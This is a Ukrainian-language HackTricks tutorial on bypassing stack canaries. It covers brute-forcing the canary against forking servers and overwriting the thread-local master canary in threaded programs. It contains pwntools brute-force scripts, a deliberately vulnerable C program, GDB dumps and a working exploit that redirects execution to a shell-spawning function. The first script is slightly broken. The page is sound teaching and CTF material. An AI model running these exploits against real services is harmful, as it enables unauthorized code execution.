# BF Forked & Threaded Stack Canaries {{#include ../../../../banners/hacktricks-training.md}} **Якщо ви стикаєтеся з бінарним файлом, захищеним канаркою та PIE (Position Independent Executable), вам, ймовірно, потрібно знайти спосіб їх обійти.** ![](<../../../../images/image (144).png>) > [!NOTE] > Зверніть увагу, що **`checksec`** може не виявити, що бінарний файл захищений канаркою, якщо він був статично скомпільований і не здатний ідентифікувати функцію.\ > Однак ви можете помітити це вручну, якщо виявите, що значення зберігається в стеку на початку виклику функції, і це значення перевіряється перед виходом. ## Brute force Canary Найкращий спосіб обійти просту канарку - це якщо бінарний файл є програмою **forking child processes кожного разу, коли ви встановлюєте нове з'єднання** з ним (мережевий сервіс), оскільки кожного разу, коли ви підключаєтеся до нього, **використовується одна й та ж канарка**. Отже, найкращий спосіб обійти канарку - це просто **brute-force її символ за символом**, і ви можете з'ясувати, чи був вгаданий байт канарки правильним, перевіряючи, чи програма зламалася, чи продовжує свій звичайний потік. У цьому прикладі функція **brute-forces 8-байтову канарку (x64)** і розрізняє між правильно вгаданим байтом і поганим байтом, просто **перевіряючи**, чи **відповідь** надіслана сервером (інший спосіб у **іншій ситуації** може бути використанням **try/except**): ### Example 1 Цей приклад реалізовано для 64 біт, але його можна легко реалізувати для 32 біт. ```python from pwn import * def connect(): r = remote("localhost", 8788) def get_bf(base): canary = "" guess = 0x0 base += canary while len(canary) < 8: while guess != 0xff: r = connect() r.recvuntil("Username: ") r.send(base + chr(guess)) if "SOME OUTPUT" in r.clean(): print "Guessed correct byte:", format(guess, '02x') canary += chr(guess) base += chr(guess) guess = 0x0 r.close() break else: guess += 1 r.close() print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) return base canary_offset = 1176 base = "A" * canary_offset print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` ### Приклад 2 Це реалізовано для 32 біт, але це можна легко змінити на 64 біти.\ Також зверніть увагу, що для цього прикладу **програма спочатку очікує байт, щоб вказати розмір введення** та корисного навантаження. ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): known_canary = b"" test_canary = 0x0 len_bytes_to_read = 0x21 for j in range(0, 4): # Iterate up to 0xff times to brute force all posible values for byte for test_canary in range(0xff): print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") # Send the current input size target.send(len_bytes_to_read.to_bytes(1, "little")) # Send this iterations canary target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) # Scan in the output, determine if we have a correct value output = target.recvuntil(b"exit.") if b"YUM" in output: # If we have a correct value, record the canary value, reset the canary value, and move on print(" - next byte is: " + hex(test_canary)) known_canary = known_canary + test_canary.to_bytes(1, "little") len_bytes_to_read += 1 break # Return the canary return known_canary # Start the target process target = process('./feedme') #gdb.attach(target) # Brute force the canary canary = breakCanary() log.info(f"The canary is: {canary}") ``` ## Потоки Потоки одного процесу також **ділять один і той же токен канарки**, тому буде можливим **брутфорсити** канарку, якщо бінарний файл створює новий потік щоразу, коли відбувається атака. Переповнення буфера в багатопоточній функції, захищеній канаркою, може бути використане для зміни майстер-канарки процесу. В результаті, міра захисту є марною, оскільки перевірка використовується з двома канарками, які є однаковими (хоча й модифікованими). ### Приклад Наступна програма вразлива до переповнення буфера, але вона скомпільована з канаркою: ```c #include #include #include #include // gcc thread_canary.c -no-pie -l pthread -o thread_canary void win() { execve("/bin/sh", NULL, NULL); } void* vuln() { char data[0x20]; gets(data); } int main() { pthread_t thread; pthread_create(&thread, NULL, vuln, NULL); pthread_join(thread, NULL); return 0; } ``` Зверніть увагу, що `vuln` викликається всередині потоку. У GDB ми можемо подивитися на `vuln`, зокрема, на момент, коли програма викликає `gets` для читання вхідних даних: ```bash gef> break gets Breakpoint 1 at 0x4010a0 gef> run ... gef> x/10gx $rdi 0x7ffff7d7ee20: 0x0000000000000000 0x0000000000000000 0x7ffff7d7ee30: 0x0000000000000000 0x0000000000000000 0x7ffff7d7ee40: 0x0000000000000000 0x493fdc653a156800 0x7ffff7d7ee50: 0x0000000000000000 0x00007ffff7e17ac3 0x7ffff7d7ee60: 0x0000000000000000 0x00007ffff7d7f640 ``` Вищезазначене представляє адресу `data`, куди програма запише введення користувача. Стековий канар знаходиться за адресою `0x7ffff7d7ee48` (`0x493fdc653a156800`), а адреса повернення знаходиться за адресою `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`): ```bash gef> telescope $rdi 8 -n 0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000 <- $rdi 0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000 0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000 0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000 0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000 0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800 <- canary 0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000 <- $rbp 0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 -> 0xe8ff31fffffe6fe9 <- retaddr[2] ``` Зверніть увагу, що адреси стеку не належать до фактичного стеку: ```bash gef> vmmap stack [ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ] Start End Size Offset Perm Path 0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <- $rbx, $rsp, $rbp, $rsi, $rdi, $r12 0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15 ``` Стек потоку розміщується над локальним сховищем потоку (TLS), де зберігається майстер-канар. ```bash gef> tls $tls = 0x7ffff7d7f640 ... ---------------------------------------------------------------------------- TLS ---------------------------------------------------------------------------- 0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640 -> [loop detected] <- $rbx, $r12 0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0 -> 0x0000000000000001 0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640 -> [loop detected] 0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001 0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000 0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800 <- canary 0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4 <- PTR_MANGLE cookie 0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000 ... ``` > [!NOTE] > Деякі з наведених вище функцій GDB визначені в розширенні під назвою [bata24/gef](https://github.com/bata24/gef), яке має більше функцій, ніж звичайне [hugsy/gef](https://github.com/hugsy/gef). В результаті, великий переповнення буфера може дозволити змінити як стековий канарей, так і майстер-канарей у TLS. Це зсув: ```bash gef> p/x 0x7ffff7d7f668 - $rdi $1 = 0x848 ``` Це короткий експлойт для виклику `win`: ```python from pwn import * context.binary = 'thread_canary' payload = b'A' * 0x28 # buffer overflow offset payload += b'BBBBBBBB' # overwritting stack canary payload += b'A' * 8 # saved $rbp payload += p64(context.binary.sym.win) # return address payload += b'A' * (0x848 - len(payload)) # padding payload += b'BBBBBBBB' # overwritting master canary io = context.binary.process() io.sendline(payload) io.interactive() ``` ## Інші приклади та посилання - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - 64 біти, без PIE, nx, BF canary, записати в пам'ять ROP для виклику `execve` і стрибка туди. - [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) - 64 біти, без PIE, nx, модифікувати thread та master canary.